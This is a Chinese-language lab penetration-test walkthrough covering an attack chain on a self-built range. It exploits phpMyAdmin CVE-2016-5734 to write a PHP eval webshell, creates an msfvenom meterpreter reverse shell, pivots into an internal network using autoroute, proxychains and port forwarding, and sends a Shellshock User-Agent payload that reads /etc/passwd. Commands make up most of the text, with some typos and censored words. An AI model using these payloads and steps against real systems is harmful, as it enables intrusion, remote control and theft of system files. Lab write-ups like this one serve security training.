记一次靶场搭建后的***测试

拓扑:

记一次靶场搭建后的***测试

操作环境:

操作机:

Kali
IP:172.16.5.204

Web网站:

Ubuntu14
IP:172.16.2.101

漏洞信息:

phpmyadmin4.0.x-4.6.2远程代码执行漏洞
编号:CVE-2016-5734

内网工作组:

9台Ubuntu搭建的各种漏洞
IP:192.168.147.X

介绍:内外网络经过隔离,内网只能通过web网站的机器访问(目的内网)。

***步骤:

第一站:拿下网站服务器shell

因为是测试自己搭建的靶场,所以,这里省略信息搜集等等的操作,直接对漏洞进行利用。
phpmyadmin远程代码执行漏洞简介:
编号:CVE-2016-5734
以下版本受到影响:

4.0.10.16之前4.0.x版本
4.4.15.7之前4.4.x版本
4.6.3之前4.6.x版本

因为此漏洞算是一个老漏洞了,网上有很多关于此漏洞的介绍,讲的都非常的详细,小生我就不再献丑了。因为是老漏洞,exp的利用也可以在网上下载。可以直接进行命令执行。
推荐网站:https://www.exploit-db.com/,上面存在很多利用漏洞的方法
执行python3脚本:

python3 –c “file_put_contents(‘shell.php’,’<?php eval(\$_POST[“cmd”]);?>’);” -u root -p root -d test http://172.16.2.101:8080

记一次靶场搭建后的***测试
命令解析:

-c 指定执行的命令
-u 指定用户名
-p 指定密码
-d 指定数据库
file_put_contents()写入一个文件,这里创建名为shell.php的文件,内容为一句话
Phpmyadmin的默认用户名和密码是root。

上述截图中显示exploit failed其实是已经执行了命令。为了看到效果,我们也可以执行一个简单的命令测试一下。
记一次靶场搭建后的***测试
执行id,可以返回用户的信息。

一句话我们已经传上去了,接下来就是通过蚁剑连接:
记一次靶场搭建后的***测试
记一次靶场搭建后的***测试
成功拿到shell

第二站:内网穿透,设代理环境。

设置代理能让我们成功的去访问内网,并且又能很好的隐藏自己。
在设置代理前,我们应该先去获取一个目标机的meterpreter会话。

(1)生成反弹***:

msfvenom –p linux/x86/meterpreter/reverse_tcp –f elf > 123.elf

(2)将上传到目标服务器的/tmp目录下。

通过蚁剑进行上传
记一次靶场搭建后的***测试
上传/tmp目录的原因是因为/tmp普通用户的权限都比较高,可以更好的执行操作。

(3)meterpreter会话

给shell.elf文件可执行权限:chmod +x shell.elf
咋执行这个文件之前,需要在kali上监听
记一次靶场搭建后的***测试
回到目标机的shell,执行文件

记一次靶场搭建后的***测试

记一次靶场搭建后的***测试
这里需要解释一下,我们已经通过了蚁剑拿到了shell为什么还要meterpreter会话回话呢?因为在内网中,我们会在很多地方使用MSF框架,这个框架能提供我们向内网战法数据,单纯的反弹shell或蚁剑,菜刀的shell很难实现。

(4)添加路由表

在meterpreter会话下执行:

run autoroute –s 192.168.147.0/24

记一次靶场搭建后的***测试
如果不知道内网网段,可以通过run get_local_subnets或ifconfig查看。

(5)设置跳板

想要通过设置的路由进行访问内网还需要代理进行转发数据,这里使用socks4代理模块
先使用background命令退出回话状态。
记一次靶场搭建后的***测试
然后向文件/etc/proxychains.conf添加新创建的socke4代理。
记一次靶场搭建后的***测试

(6)使用proxychains执行nmap扫描内网环境

记一次靶场搭建后的***测试
可以看到成功扫描到内网中开放80端口的两台机器。还有别的端口主机就不扫了

第三站:获取内网服务器权限

接下来就是访问以下这些扫出来的主机,(特别提示:针对你扫描的主机最好是使用某漏洞模块,或常见漏洞,MSF框架上都有相应模块,有针对性的进行。因为我这是搭建的靶场环境,仅仅测试靶场可用,所以就不在这演示。)
我这里也遇到了一些小问题,就是通过代理,浏览器访问,不能够访问到内网网站。技术原因没有找到问题所在。但是我换了个方法,依然能够实现内网。

(1)设置端口转发

使用session 1回到meterpreter回话下,执行:

portwd add –L 172.16.5.204 –l 8080 –p 80 –r 192.168.147.32

记一次靶场搭建后的***测试
意思是将发往本机的8080端口的数据转发到192.168.147.32的80端口上

记一次靶场搭建后的***测试

(2)对内网进行

这是当时设计的Bash ShellShock CVE-2014-6271漏洞,也是一个老的漏洞,利用方式也非常简单。
通过 Burp 截包,修改 HTTP 请求头中 UA 字段,简单测试一下命令执行:

User-Agent: () { :;};echo ; echo; echo $(/bin/cat /etc/passwd);

注意当中的空格,输入不正确的话会导致命令执行不成功
记一次靶场搭建后的***测试
命令执行成功。拿shell同样简单,反弹,写马等等。